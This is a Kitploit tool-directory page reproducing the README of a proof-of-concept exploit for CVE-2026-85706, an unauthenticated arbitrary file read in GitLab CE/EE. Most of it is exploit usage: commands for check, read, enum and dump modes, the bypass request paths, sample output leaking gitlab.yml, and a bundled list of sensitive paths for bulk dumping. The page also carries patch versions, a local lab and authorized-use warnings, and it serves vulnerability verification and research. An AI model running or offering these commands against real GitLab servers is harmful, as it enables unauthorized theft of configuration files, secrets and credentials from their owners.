Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-85706-PoC — PoC for CVE-2026-85706: GitLab CE/EE unauthenticated arbitrary local file read | Kitploit
Tools/GitHubGitHub/solivaquaant/cve-2026-85706-poc
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringWeb SecurityPenetration Testing
GitHubsolivaquaant/cve-2026-85706-poc

CVE-2026-85706-PoC

PoC for CVE-2026-85706: GitLab CE/EE unauthenticated arbitrary local file read

View Repository
9h 1m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-85706: GitLab CE/EE unauthenticated arbitrary local file read

CVE-2026-85706 is a critical path-traversal / missing-authentication issue in the GitLab CE/EE Repository Commits and Repository Files APIs: an unauthenticated attacker can make the server read arbitrary files and obtain their content through the error channel. CVSS 3.1 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).

GitLab's official title is "Path Traversal issue in repository commits API impacts GitLab CE/EE". The fix shipped on 2026-09-10 in 19.3.2 / 19.2.6 / 19.1.8.

[!IMPORTANT] Running a self-managed GitLab <= 19.3.1? Upgrade to 19.3.2 / 19.2.6 / 19.1.8.

[!WARNING] Authorized use only. Run this tool only against systems you own or are explicitly permitted to test.

This repository holds an independent proof of concept, a minimal reproduction lab and a full technical analysis:

  • ANALYSIS.md - root cause, exploitation, reproduction evidence, mitigation

No data captured from any third-party system is included.

Quick start

Option A - local lab (fastest, no GitLab needed)

root@kitploit:~
# terminal 1 - from the repository root
cd lab
python vulnerable_api.py --seed                 # create the sandbox vault
python vulnerable_api.py --port 8080            # vulnerable build (add --patched to compare)

# terminal 2 - from the repository root
cd poc
python CVE-2026-85706.py check --url http://127.0.0.1:8080 --project 1
python CVE-2026-85706.py read  --url http://127.0.0.1:8080 --project 1 \
        --file /tmp/cve-2026-85706/canary.txt

The lab listens on 127.0.0.1 only and reads only inside its lab/vault/ sandbox, so it can never touch files on your real machine.

Option B - real GitLab CE 19.3.1 (authoritative verification)

root@kitploit:~
# from the repository root (`cd lab && docker compose up -d` works too)
docker compose -f lab/docker-compose.yml up -d      # ~3 GB image, >= 8 GB RAM
# root password, if you need to log in and create the project:
docker compose -f lab/docker-compose.yml exec gitlab grep 'password:' /etc/gitlab/initial_root_password
# then create a PUBLIC project with a repository, note its id, and run:
python poc/CVE-2026-85706.py check --url http://127.0.0.1:8929 --project <project_id>

Option C - live instance

root@kitploit:~
# from the repository root
python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <public_project>

Add --insecure for self-signed certificates, and prefer the numeric project id over an encoded path (--project <id> instead of group%2Fproject).

Subcommands

CommandPurposeKey options
checkIs the target vulnerable? Compares the responses of every bypass vector--canary-path, --no-bypass-probe
readRead one file and report whether its content leaks--file <path>, --media <type>
enumProbe a list of paths and classify each one--wordlist, --wordlist-file
dumpSave every readable file to disk, with a manifest and the raw responses--files, --files-file, --outdir

Vectors

The labels printed by check:

LabelRequest path
commits-trailing-slashPOST /api/v4/projects/<id>/repository/commits/
commits-json-suffixPOST /api/v4/projects/<id>/repository/commits.json
commits-canonicalPOST /api/v4/projects/<id>/repository/commits (Workhorse-buffered, control case)
files-trailing-slashPOST /api/v4/projects/<id>/repository/files/<name>/
files-canonicalPOST /api/v4/projects/<id>/repository/files/<name>

check - is the target vulnerable?

root@kitploit:~
$ python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <id> --insecure
form   commits-trailing-slash   HTTP 400  VULNERABLE:existence-oracle
form   commits-json-suffix      HTTP 400  VULNERABLE:existence-oracle
form   commits-canonical        HTTP 401  NOT-VULNERABLE(auth required)
[json and query variants behave identically]

[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
    commits-trailing-slash  without 'file'  HTTP 400  {"error":"file is missing"}
    files-trailing-slash    without 'file'  HTTP 400  {"error":"file is missing"}
    commits-trailing-slash  with    'file=' HTTP 400  VULNERABLE:existence-oracle

[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.
    -> upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later.

Exit codes: 0 = vulnerable; 1 = not exploitable with the tested vectors (patched, or the route unreachable).

Two details worth knowing:

  • The Workhorse bypass probe block is the routing proof: file only exists when Workhorse buffered and signed the body, so a 400 {"error":"file is missing"} proves the bypass route skipped that pipeline while still reaching the API. On a patched build that last line reads HTTP 401.
  • The canonical path (commits-canonical -> 401) is the control case: there Workhorse rewrites file.path, so the attacker's value never reaches the vulnerable code.

read - read a single file

root@kitploit:~
$ python poc/CVE-2026-85706.py read --url https://gitlab.example.com --project <id> --insecure \
        --file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form   commits-trailing-slash   HTTP 400  LEAK!    content disclosed via the Rack parser error
form   commits-canonical        HTTP 401  EXISTS,  parsed without error -> authentication required

Exit codes: 0 = content disclosed, or a pre-authentication read confirmed by the baseline; 1 = no pre-auth read observed.

enum / dump - bulk probing

root@kitploit:~
python poc/CVE-2026-85706.py enum --url https://gitlab.example.com --project <id> --insecure \
        --wordlist-file poc/paths.txt

python poc/CVE-2026-85706.py dump --url https://gitlab.example.com --project <id> --insecure \
        --outdir evidence --files-file poc/paths.txt

poc/paths.txt ships 45 interesting GitLab/Linux paths; --wordlist / --files can be given inline or via a file, and both forms can be combined. These are the only two subcommands that touch real file contents - write the output outside this repository and never publish what they capture.

Global options

OptionMeaning
--url <base URL>Target base URL (required)
--project <id or encoded path>Public project id (123) or URL-encoded path (group%2Fproject), required
--token <PRIVATE-TOKEN>Optional; test the authenticated path
--insecureSkip TLS verification (self-signed certificates)
-v, --verbosePrint every request/response to stderr
--canary-path <path>Guaranteed-missing path used as the vulnerability baseline
--color <mode>auto (default, colours on a real terminal), always, never

Option order matters: shared options go after the subcommand - check --url ... --insecure, not --url ... check.

Verification status

TestResult
Patched control - gitlab.com, 19.3.2+Every vector returns 401; the only other answer is the 400 {"error":"file is missing"} that proves the routing bypass
Local lab - lab/vulnerable_api.pyReproduces the Rails-side trust bug end to end; --patched gives the comparison build
Real self-managed instance - 19.3.1, written authorizationConfirmed vulnerable; host and project details are deliberately not published here. Aggregated results in ANALYSIS.md, section 4.3

Legal

This material is provided for security research and authorized testing - your own lab, a bug-bounty program, or a penetration test with written permission. Only use it against systems you own or are explicitly allowed to test. Unauthorized access to third-party systems is illegal. Provided as is, without warranty of any kind.

Download Tool